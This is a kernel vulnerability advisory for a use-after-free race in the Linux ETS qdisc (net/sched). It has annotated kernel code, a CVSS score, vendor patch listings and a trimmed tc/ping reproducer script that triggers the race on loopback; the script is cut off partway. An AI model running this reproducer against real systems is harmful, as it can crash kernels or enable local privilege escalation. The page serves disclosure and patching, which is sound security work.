In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
[email protected] says:
The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.
Analysis:
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...
// (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch);
for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); }
WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));
for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]);
for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); }
// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch);
ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }
Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc
Reproducer Steps (trimmed version of what was sent by [email protected])
``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}"
SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"
cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT
ip link set "$DEV" up
tc qdisc del dev "$DEV" root 2>/dev/null || true
tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV
ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
CVSS Details
- CVSS 3.1 Base Score: 7.8
- CVSS 3.1 Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Alma_linux | — | Upgrade kernel-rt-64k-modules-coreUpgrade libperfUpgrade kernel-modules-coreUpgrade kernel-rt-64k-debug-modulesUpgrade kernel-64k-debug-coreUpgrade kernel-docUpgrade kernel-rt-modules-extraUpgrade kernel-debug-modules-extraUpgrade kernel-rt-modules-coreUpgrade kernel-debug-devel-matchedUpgrade kernel-rt-debug-modules-extraUpgrade kernel-toolsUpgrade kernel-tools-libs-develUpgrade kernel-rt-64k-modulesUpgrade perfUpgrade rvUpgrade kernel-rt-64k-debug-coreUpgrade kernel-64k-debugUpgrade kernel-rt-64kUpgrade kernel-zfcpdump-coreUpgrade kernel-rtUpgrade kernel-rt-64k-modules-extraUpgrade kernel-64k-coreUpgrade kernel-zfcpdump-modulesUpgrade kernel-devel-matchedUpgrade kernel-abi-stablelistsUpgrade kernel-headersUpgrade kernel-rt-64k-debug-develUpgrade kernel-cross-headersUpgrade kernel-64k-debug-modules-extraUpgrade kernel-64k-debug-devel-matchedUpgrade kernel-uki-virt-addonsUpgrade kernelUpgrade kernel-64k-devel-matchedUpgrade kernel-zfcpdump-modules-coreUpgrade kernel-rt-coreUpgrade kernel-tools-libsUpgrade kernel-rt-64k-debugUpgrade kernel-modules-extraUpgrade kernel-rt-modulesUpgrade kernel-64k-modules-coreUpgrade kernel-modulesUpgrade kernel-rt-64k-debug-modules-coreUpgrade kernel-64k-develUpgrade kernel-debug-modulesUpgrade kernel-zfcpdump-devel-matchedUpgrade kernel-uki-virtUpgrade rtlaUpgrade kernel-rt-debug-modules-coreUpgrade kernel-debug-coreUpgrade kernel-rt-debug-coreUpgrade kernel-debug-uki-virtUpgrade kernel-64k-modules-extraUpgrade kernel-64kUpgrade kernel-develUpgrade kernel-rt-debugUpgrade bpftoolUpgrade kernel-coreUpgrade kernel-64k-modulesUpgrade kernel-64k-debug-develUpgrade kernel-64k-debug-modulesUpgrade kernel-debug-modules-coreUpgrade kernel-64k-debug-modules-coreUpgrade kernel-rt-64k-develUpgrade kernel-zfcpdump-develUpgrade kernel-rt-debug-develUpgrade kernel-rt-64k-debug-modules-extraUpgrade kernel-zfcpdumpUpgrade python3-perfUpgrade kernel-zfcpdump-modules-extraUpgrade kernel-rt-64k-coreUpgrade kernel-debugUpgrade kernel-debug-develUpgrade kernel-rt-debug-modulesUpgrade kernel-rt-devel | Jul 12, 2026 | Jul 9, 2026 |
| Debian | — | Upgrade linux-6.1Upgrade linux | Feb 11, 2026 | Feb 11, 2026 |
| Oracle_linux | — | Upgrade kernel-uek | Feb 24, 2026 | Jan 13, 2026 |
| Redhat_linux | — | No solution existsUpgrade kernelUpgrade kernel-rt | Jul 10, 2026 | Jan 13, 2026 |
| Rocky_linux | — | Upgrade kernel-zfcpdump-modulesUpgrade kernel-tools-libs-develUpgrade kernel-debug-modules-extraUpgrade kernel-rt-modules-extraUpgrade kernel-debug-devel-matchedUpgrade kernel-rt-debug-coreUpgrade kernel-zfcpdump-modules-coreUpgrade python3-perfUpgrade perfUpgrade libperfUpgrade kernelUpgrade kernel-uki-virt-addonsUpgrade kernel-rt-debuginfoUpgrade rvUpgrade kernel-debuginfo-common-s390xUpgrade kernel-zfcpdump-coreUpgrade kernel-devel-matchedUpgrade kernel-rtUpgrade kernel-rt-modules-coreUpgrade kernel-toolsUpgrade kernel-zfcpdump-debuginfoUpgrade kernel-zfcpdump-devel-matchedUpgrade libperf-debuginfoUpgrade kernel-debug-uki-virtUpgrade kernel-debuginfo-common-x86_64Upgrade kernel-zfcpdump-develUpgrade kernel-tools-libsUpgrade kernel-debug-develUpgrade kernel-rt-debug-modulesUpgrade kernel-modules-coreUpgrade kernel-uki-virtUpgrade perf-debuginfoUpgrade kernel-modulesUpgrade kernel-debug-modules-coreUpgrade kernel-zfcpdumpUpgrade kernel-tools-debuginfoUpgrade kernel-rt-coreUpgrade kernel-coreUpgrade kernel-rt-debug-develUpgrade python3-perf-debuginfoUpgrade kernel-rt-debug-debuginfoUpgrade kernel-debuginfoUpgrade kernel-debug-debuginfoUpgrade kernel-debug-coreUpgrade kernel-rt-debug-modules-extraUpgrade kernel-modules-extraUpgrade rtlaUpgrade kernel-debugUpgrade kernel-rt-modulesUpgrade kernel-rt-debugUpgrade kernel-debug-modulesUpgrade kernel-develUpgrade kernel-zfcpdump-modules-extraUpgrade kernel-modules-extra-matchedUpgrade kernel-rt-debug-modules-coreUpgrade kernel-rt-devel | Jul 13, 2026 | Jul 11, 2026 |
| Ubuntu | — | Upgrade linux-image-aws-64k-6.8Upgrade linux-image-5.15.0-1102-realtimeUpgrade linux-image-oem-24.04bUpgrade linux-image-oem-24.04cUpgrade linux-image-lowlatency-64k-5.15Upgrade linux-image-nvidia-tegra-rtUpgrade linux-image-6.8.0-1052-aws-fipsUpgrade linux-image-virtual-5.15Upgrade linux-image-generic-hwe-20.04Upgrade linux-image-xilinx-zynqmp-5.15Upgrade linux-image-azure-fips-6.8Upgrade linux-image-aws-fipsUpgrade linux-image-6.17.0-1012-gcp-64kUpgrade linux-image-5.15.0-1098-nvidia-lowlatencyUpgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-raspi-nolpaeUpgrade linux-image-raspi-6.17Upgrade linux-image-aws-64k-lts-22.04Upgrade linux-image-azure-cvmUpgrade linux-image-gkeUpgrade linux-image-nvidia-tegra-igx-rtUpgrade linux-image-oracle-64k-6.17Upgrade linux-image-6.17.0-1011-oracleUpgrade linux-image-realtimeUpgrade linux-image-6.8.0-1052-raspiUpgrade linux-image-fips-6.8Upgrade linux-image-oracle-6.17Upgrade linux-image-5.15.0-1098-intel-iotgUpgrade linux-image-gcp-lts-22.04Upgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-awsUpgrade linux-image-5.15.0-1103-awsUpgrade linux-image-6.8.0-1054-gcp-fipsUpgrade linux-image-gcp-6.8Upgrade linux-image-6.17.0-22-generic-64kUpgrade linux-image-virtualUpgrade linux-image-oem-22.04bUpgrade linux-image-gcp-64k-6.17Upgrade linux-image-nvidia-lowlatency-64k-6.8Upgrade linux-image-5.15.0-1095-kvmUpgrade linux-image-gcp-5.15Upgrade linux-image-gcp-6.17Upgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-lowlatency-5.15Upgrade linux-image-aws-64k-lts-24.04Upgrade linux-image-fips-5.15Upgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-5.15.0-1067-xilinx-zynqmpUpgrade linux-image-nvidia-tegra-igxUpgrade linux-image-6.8.0-1054-azure-fipsUpgrade linux-image-nvidia-lowlatency-5.15Upgrade linux-image-oem-20.04Upgrade linux-image-generic-hwe-24.04Upgrade linux-image-intel-iot-realtime-5.15Upgrade linux-image-lowlatency-6.8Upgrade linux-image-5.15.0-1103-gcpUpgrade linux-image-aws-fips-6.8Upgrade linux-image-azure-fipsUpgrade linux-image-aws-64k-5.15Upgrade linux-image-gcp-lts-24.04Upgrade linux-image-6.8.0-110-fipsUpgrade linux-image-6.8.1-1047-realtimeUpgrade linux-image-generic-hwe-22.04Upgrade linux-image-6.17.0-1013-azureUpgrade linux-image-lowlatency-64k-hwe-20.04Upgrade linux-image-6.8.0-1051-ibmUpgrade linux-image-5.15.0-1103-gcp-fipsUpgrade linux-image-aws-lts-24.04Upgrade linux-image-oracle-6.8Upgrade linux-image-gkeop-5.15Upgrade linux-image-6.17.0-1012-aws-64kUpgrade linux-image-6.8.0-110-generic-64kUpgrade linux-image-generic-lpae-hwe-20.04Upgrade linux-image-lowlatency-64k-6.8Upgrade linux-image-generic-64k-hwe-24.04Upgrade linux-image-oem-6.17Upgrade linux-image-generic-64k-6.8Upgrade linux-image-oracleUpgrade linux-image-aws-64kUpgrade linux-image-6.8.0-1051-nvidiaUpgrade linux-image-5.15.0-1044-nvidia-tegra-igx-rtUpgrade linux-image-5.15.0-173-fipsUpgrade linux-image-oracle-lts-22.04Upgrade linux-image-5.15.0-173-generic-lpaeUpgrade linux-image-nvidia-tegra-rt-6.8Upgrade linux-image-oem-20.04dUpgrade linux-image-oem-22.04dUpgrade linux-image-6.8.0-1049-oracle-64kUpgrade linux-image-aws-5.15Upgrade linux-image-ibm-lts-24.04Upgrade linux-image-6.8.0-1051-nvidia-64kUpgrade linux-image-kvmUpgrade linux-image-6.17.0-1011-oracle-64kUpgrade linux-image-6.8.0-1050-gke-64kUpgrade linux-image-nvidia-6.8Upgrade linux-image-gcp-64k-6.8Upgrade linux-image-nvidia-64k-6.8Upgrade linux-image-generic-5.15Upgrade linux-image-5.15.0-1110-azureUpgrade linux-image-virtual-hwe-24.04Upgrade linux-image-6.8.0-1059-azureUpgrade linux-image-6.8.0-2042-raspi-realtimeUpgrade linux-image-5.15.0-1109-azureUpgrade linux-image-5.15.0-1055-nvidia-tegra-rtUpgrade linux-image-5.15.0-1099-gkeUpgrade linux-image-6.8.0-110-genericUpgrade linux-image-6.17.0-1020-oemUpgrade linux-image-5.15.0-1094-intel-iot-realtimeUpgrade linux-image-xilinx-zynqmpUpgrade linux-image-ibm-6.8Upgrade linux-image-virtual-hwe-20.04Upgrade linux-image-5.15.0-1097-raspiUpgrade linux-image-gke-64k-6.8Upgrade linux-image-6.8.0-1022-nvidia-tegra-rtUpgrade linux-image-gkeop-6.8Upgrade linux-image-oem-24.04aUpgrade linux-image-6.8.0-1051-nvidia-lowlatency-64kUpgrade linux-image-gcp-fipsUpgrade linux-image-aws-64k-6.17Upgrade linux-image-6.17.0-1010-realtimeUpgrade linux-image-5.15.0-173-genericUpgrade linux-image-5.15.0-1100-oracleUpgrade linux-image-6.8.0-1050-gkeUpgrade linux-image-5.15.0-1109-azure-fipsUpgrade linux-image-xilinx-6.8Upgrade linux-image-oem-22.04cUpgrade linux-image-realtime-5.15Upgrade linux-image-nvidia-tegraUpgrade linux-image-intel-iotgUpgrade linux-image-intelUpgrade linux-image-gkeopUpgrade linux-image-gcp-fips-6.8Upgrade linux-image-6.8.0-1052-aws-64kUpgrade linux-image-nvidia-tegra-igx-rt-5.15Upgrade linux-image-generic-64k-5.15Upgrade linux-image-gcpUpgrade linux-image-azure-6.8Upgrade linux-image-azure-5.15Upgrade linux-image-6.8.0-1054-azureUpgrade linux-image-6.8.0-1051-nvidia-lowlatencyUpgrade linux-image-realtime-hwe-24.04Upgrade linux-image-realtime-6.8.1Upgrade linux-image-oracle-64kUpgrade linux-image-oem-24.04dUpgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-6.8.0-1054-gcp-64kUpgrade linux-image-intel-iotg-5.15Upgrade linux-image-azure-6.17Upgrade linux-image-generic-64k-hwe-20.04Upgrade linux-image-azure-fips-5.15Upgrade linux-image-aws-fips-5.15Upgrade linux-image-6.8.0-1054-gcpUpgrade linux-image-6.17.0-1012-gcpUpgrade linux-image-virtual-6.17Upgrade linux-image-oem-24.04Upgrade linux-image-oem-22.04aUpgrade linux-image-6.8.0-1022-nvidia-tegraUpgrade linux-image-6.17.0-22-genericUpgrade linux-image-5.15.0-173-lowlatencyUpgrade linux-image-5.15.0-173-generic-64kUpgrade linux-image-5.15.0-1103-aws-64kUpgrade linux-image-virtual-hwe-22.04Upgrade linux-image-realtime-6.17Upgrade linux-image-nvidia-tegra-6.8Upgrade linux-image-ibm-classicUpgrade linux-image-gke-6.8Upgrade linux-image-genericUpgrade linux-image-6.8.0-1037-gkeopUpgrade linux-image-raspi-realtime-6.8Upgrade linux-image-generic-64k-6.17Upgrade linux-image-oem-20.04cUpgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-nvidia-64kUpgrade linux-image-lowlatency-hwe-20.04Upgrade linux-image-5.15.0-1098-nvidiaUpgrade linux-image-lowlatencyUpgrade linux-image-oem-22.04Upgrade linux-image-oracle-5.15Upgrade linux-image-oracle-lts-24.04Upgrade linux-image-gcp-fips-5.15Upgrade linux-image-6.8.0-110-lowlatencyUpgrade linux-image-gcp-64kUpgrade linux-image-6.8.0-1052-awsUpgrade linux-image-nvidia-lowlatencyUpgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-nvidia-5.15Upgrade linux-image-5.15.0-1097-ibmUpgrade linux-image-gke-5.15Upgrade linux-image-6.8.0-1049-oracleUpgrade linux-image-nvidia-tegra-igx-5.15Upgrade linux-image-realtime-hwe-22.04Upgrade linux-image-gke-64kUpgrade linux-image-oem-20.04bUpgrade linux-image-6.8.0-110-lowlatency-64kUpgrade linux-image-5.15.0-173-lowlatency-64kUpgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-ibmUpgrade linux-image-aws-lts-22.04Upgrade linux-image-aws-6.17Upgrade linux-image-6.8.0-1029-xilinxUpgrade linux-image-6.17.0-1012-awsUpgrade linux-image-5.15.0-1044-nvidia-tegra-igxUpgrade linux-image-raspi-6.8Upgrade linux-image-raspi-5.15Upgrade linux-image-lowlatency-64kUpgrade linux-image-generic-6.8Upgrade linux-image-generic-6.17Upgrade linux-image-generic-64kUpgrade linux-image-azureUpgrade linux-image-aws-6.8Upgrade linux-image-5.15.0-1086-gkeopUpgrade linux-image-azure-lts-22.04Upgrade linux-image-6.17.0-1014-raspiUpgrade linux-image-5.15.0-1103-aws-fipsUpgrade linux-image-5.15.0-1055-nvidia-tegraUpgrade linux-image-xilinxUpgrade linux-image-virtual-6.8Upgrade linux-image-raspi-realtimeUpgrade linux-image-raspiUpgrade linux-image-oracle-64k-6.8Upgrade linux-image-nvidia-tegra-rt-5.15Upgrade linux-image-nvidia-tegra-5.15Upgrade linux-image-nvidia-lowlatency-6.8Upgrade linux-image-kvm-5.15Upgrade linux-image-ibm-5.15Upgrade linux-image-intel-iot-realtimeUpgrade linux-image-nvidiaUpgrade linux-image-fipsUpgrade linux-image-azure-lts-24.04Upgrade linux-image-generic-lpae-5.15Upgrade linux-image-generic-lpae | Mar 17, 2026 | Jan 13, 2026 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | May 27, 2026 | Jan 13, 2026 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub